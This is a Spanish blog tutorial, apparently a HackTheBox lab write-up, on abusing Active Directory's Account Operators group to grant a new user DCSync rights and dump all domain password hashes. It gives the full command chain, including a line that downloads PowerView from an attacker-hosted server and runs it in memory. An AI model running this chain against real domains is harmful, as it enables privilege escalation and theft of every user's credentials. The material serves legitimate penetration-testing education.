Active Directory - Abusando del Grupo Account Operators
Abusando del grupo Account Operators para desencadenar en un DCSync Attack.
Introducción
El grupo Account Operators lo que nos permite es la creación, modificación y eliminación de usuarios y grupos. Es por esto, por lo que supone una vía potencial de escalada de privilegios ya que podemos crear un usuario y asignarle el grupo Exchange Windows Permissions el cual, nos permitirá efectuar un DCSync Attack.
Gráfico del escenario
En este escenario, aprenderemos a abusar del grupo Account Operators para poder realizar un DCSync Attack. Primero, crearemos un usuario aprovechando los permisos del grupo Account Operators. A este usuario, lo añadiremos al grupo Exchange Windows Permissions, desde el cual podremos asignarnos el privilegio de DCSync.
Contexto
Supongamos que estamos en el grupo Account Operators, o en algún grupo que indirectamente sea miembro de dicho grupo. En este caso, nos encontramos como el usuario svc-alfresco el cual, es miembro del grupo Service Accounts.
Este grupo a su vez es miembro de Privileged IT Accounts y este mismo grupo a su vez, pertenece al grupo de Account Operators. Desde el grupo de Account Operators podemos añadir un usuario al grupo de Exchange Windows Permissions, desde el cual nos podremos asignar el privilegio de DCSync y dumpearnos todos los hashes NTLMv2 de todos los usuarios del dominio.
Todo esto, lo podemos ver más claro desde BloodHound.
Al pertenecer indirectamente al grupo Account Operators, la cuenta svc-alfresco obtiene privilegios que le permiten realizar tareas como:
- Crear, modificar y eliminar cuentas de usuario.
- Gestión de la membresía del grupo.
- Desbloqueo y restablecimiento de contraseñas.
- Gestión de propiedades de cuenta.
- Asignación y modificación de derechos de usuario.
Manos a la obra
Agregando un nuevo usuario a Exchange Windows Permissions
Para abusar de esto, primeramente empezaremos creando un usuario y añadirle al dominio.
1
net user hegociv hegociv123 /add /domain
Podemos comprobar las propiedades de este usuario.
1
net user hegociv
Seguidamente, vamos a ver los grupos a los que le podemos asignar. En esta lista si observamos, nos encontramos con el grupo Exchange Windows Permissions.
Este grupo, tiene el permiso de WriteDacl access sobre el dominio (en este caso, sobre htb.local), que permite a cualquier miembro de este grupo, modificar los privilegios del dominio. Entre ellos, se encuentra el privilegio de DCSync.
Ahora que vemos que el grupo de Exchange Windows Permissions está disponible, añadiremos al usuario hegociv.
1
net group "Exchange Windows Permissions" hegociv /add
Si visualizamos de nuevo, las propiedades de este usuario, veremos como ahora pertenecemos a este grupo.
También, podemos ver los miembros y la información de este grupo.
1
net group "Exchange Windows Permissions"
Configurando los permisos DCSync
En este momento, nos encontramos en el punto en el que deberemos de asignar el privilegio de DCSync pero antes, deberemos de configurar las credenciales del usuario con los siguientes comandos.
1
2
$SecPassword = ConvertTo-SecureString 'hegociv123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMINIO\hegociv', $SecPassword)
En este caso, el DOMINIO será htb.local
, por lo que deberemos de dejar este último comando de la siguiente manera.
1
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\hegociv', $SecPassword)
Una vez que hemos creado el objeto, podremos manipularlo con Add-DomainObjectAcl
para decirle: “quiero que este usuario, cuya credencial es esta, asignarle el privilegio de DCSync”. Sin embargo, el comando de Add-DomainObjectAcl
no existe de primeras, por lo que tendremos que invocarlo.
Para invocarlo, usaremos PowerSploit desde el que nos descargaremos el binario de PowerView.ps1.
1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
Seguidamente, realizaremos una carga remota, por lo que nos ponemos primeramente en escucha con Python3, desde la ruta en la que se encuentra el binario de PowerView.ps1.
1
python3 -m http.server 8080
E invocaremos el binario desde PowerShell en la máquina víctima.
1
IEX(New-Object Net.WebClient).downloadString('http://NUESTRA-IP:8080/PowerView.ps1')
Gracias a esto, habremos invocado el comando directamente.
Efectuando un DCSync
Ahora sí, podremos ejecutar el comando Add-DomainObjectAcl
para asignar el privilegio de DCSync. Teniendo en cuenta que, nuestro dominio es htb.local y nuestro usuario es hegociv, deberemos de ejecutar el comando de la siguiente manera. Si tenemos otros datos, modificaremos estos mismos para que adaptarlo a nuestro caso.
A tener en cuenta
El propio BloodHound, nos dice de asignar el privilegio DCSync de la siguiente forma:
Add-DomainObjectAcl -Credential $Cred -TargetIdentity DOMINIO -Rights DCSync
Sin embargo, este comando no nos funcionará correctamente y se nos quedará pillado. Por eso, debemos de modificar este comando para que funcione adecuadamente.
1
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity hegociv -Rights DCSync
Ahora sí, podremos dumpear todos los hashes NTLMv2 de los usuarios. Para ello, usaremos secretsdump.py
o impacket-secretsdump
, indicándole el dominio, usuario e IP del DC correspondiente. Además, podemos indicarle que nos guarde todos los hashes en un fichero que nosotros le indicaremos con el parámetro -outputfile
.
1
impacket-secretsdump DOMINIO/hegociv@IP -outputfile dcsync_hashes
Podemos visualizar estos hashes, en el fichero que le hemos especificado más .ntds
.
Enlaces de referencia
Los siguientes son una serie de enlaces los cuales, me han ayudado a realizar este artículo y a aprender sobre ello.
- Account Operators Privilege Escalation
- Máquina Forest - HackTheBox
- Resolución de la Máquina Forest - S4vitar
- HackTricks - Dcsync
- Everything you need to know about DCSync attacks
Despedida
Muchas gracias por leer este artículo, espero que hayas aprendido mucho sobre este escenario en el que abusamos del grupo de Account Operators para derivarlo a un DCSync Attack. ¡Nos vemos en la próxima